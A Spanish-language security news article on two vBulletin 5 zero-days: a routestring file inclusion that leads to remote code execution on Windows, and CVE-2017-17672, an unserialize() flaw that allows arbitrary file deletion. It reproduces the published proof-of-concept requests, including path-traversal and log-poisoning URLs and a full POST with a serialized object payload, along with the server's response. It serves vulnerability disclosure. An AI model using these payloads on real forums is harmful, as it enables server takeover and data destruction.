Han descubierto y divulgado detalles de dos vulnerabilidades críticas sin parche (aka 0-days) en vBulletin. Ya sabéis que vBulletin es un popular software para foros web basado en PHP y MySQL que está presente en más de 100.000 sitios web en Internet, algunos de ellos incluidos en Fortune 500 y el Top de Alexa.
Las vulnerabilidades fueron descubiertas por un investigador de seguridad de la empresa de seguridad italiana TRUEL IT y otro independiente desconocido, que publicaron los detalles de las vulnerabilidades al programa SecuriTeam Secure Disclosure de Beyond Security.
Las vulnerabilidades afectan a la versión 5, la última versión de vBulletin y actualmente no están corregidas. Beyond Security intentó ponerse en contacto con vBulletin desde el 21 de noviembre de 2017, pero no recibieron respuesta de la compañía.
Los detalles de las vulnerabilidades son los siguientes:
Vulnerabilidad de ejecución remota de comandos en vBulletin
La primera vulnerabilidad descubierta en vBulletin es un problema de inclusión de archivos que conduce a la ejecución remota de código, lo que permite a un atacante incluir remotamente cualquier archivo del servidor vBulletin y ejecutar código PHP arbitrariamente.
Un atacante no autenticado puede desencadenar la vulnerabilidad de inclusión de archivos enviando una solicitud GET a index.php con el parámetro “routestring=” en la solicitud, lo que permite al atacante “crear una solicitud especialmente elaborada al servidor Vbulletin instalada en el sistema operativo Windows e incluir cualquier archivo en el servidor web“.
El investigador también ha proporcionado código (PoC) para mostrar la explotación de la vulnerabilidad:
/index.php?routestring=.\\
Si la respuesta es:
Entonces el servidor es vulnerable.
Si queremos inyectar código php a cualquier archivo en el servidor, podemos usar access.log por ejemplo:
/?LogINJ_START=LogINJ_END
Después de eso podemos incluir access.log con nuestro código PHP:
/index.php?routestring=\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\xampp\\apache\\logs\\access.log
Vulnerabilidad de eliminación remota y arbitraria de archivos de vBulletin
La segunda vulnerabilidad descubierta en el software del foro vBulletin versión 5 se le ha asignado CVE-2017-17672 y se describe como un problema de deserialización que un atacante no autenticado puede aprovechar para eliminar archivos arbitrarios e incluso ejecutar código malicioso “en determinadas circunstancias“.
La vulnerabilidad se debe al uso inseguro de unserialize() de PHP en la entrada proporcionada por el usuario, que permite a un atacante no autenticado eliminar archivos arbitrariamente y, posiblemente, ejecutar código arbitrario en una instalación de vBulletin.
La API expuesta públicamente, concretamente la función cacheTemplates() de vB_Library_Template, permite recuperar información de un conjunto de plantillas de la base de datos para almacenarlas dentro de una variable de caché.
“La variable $temnplateidlist, que puede venir directamente de la entrada del usuario, se suministra directamente a unserialize() lo que da como resultado una “primitiva” deserialización arbitraria“, explica el aviso.
Además de detalles técnicos, el aviso también incluye PoC para explicar la gravedad de esta vulnerabilidad.
Al enviar la siguiente solicitud POST, un atacante no autenticado puede eliminar archivos del servidor de la víctima:
POST /vb533/ajax/api/template/cacheTemplates HTTP/1.1
Host: vb533.test
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_0) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/61.0.3163.100 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: it-IT,it;q=0.8,en-US;q=0.6,en;q=0.4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 125
templates[]=1&templateidlist=O:20:"vB_Image_ImageMagick":1:{s:20:"*imagefilelocation";s:13:"/path/to/file";}
El servidor responderá con:
HTTP/1.1 200 OK
Date: Fri, 27 Oct 2017 09:27:52 GMT
Server: Apache/2.4.18 (Ubuntu)
Set-Cookie: sessionhash=409d8f4b16ebb55471e63509834d0eff; path=/; HttpOnly
Set-Cookie: lastvisit=1509096472; path=/; HttpOnly
Set-Cookie: lastactivity=1509096472; path=/; HttpOnly
Set-Cookie: sessionhash=44b1e8d2d433031ec2501649630dd8bf; path=/; HttpOnly
Cache-Control: max-age=0,no-cache,no-store,post-check=0,pre-check=0
Expires: Sat, 1 Jan 2000 01:00:00 GMT
Last-Modified: Fri, 27 Oct 2017 09:27:52 GMT
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 2101
Connection: close
Content-Type: application/json; charset=UTF-8
{"errors":[["unexpected_error","Cannot use object of type vB_Image_ImageMagick as array"]]}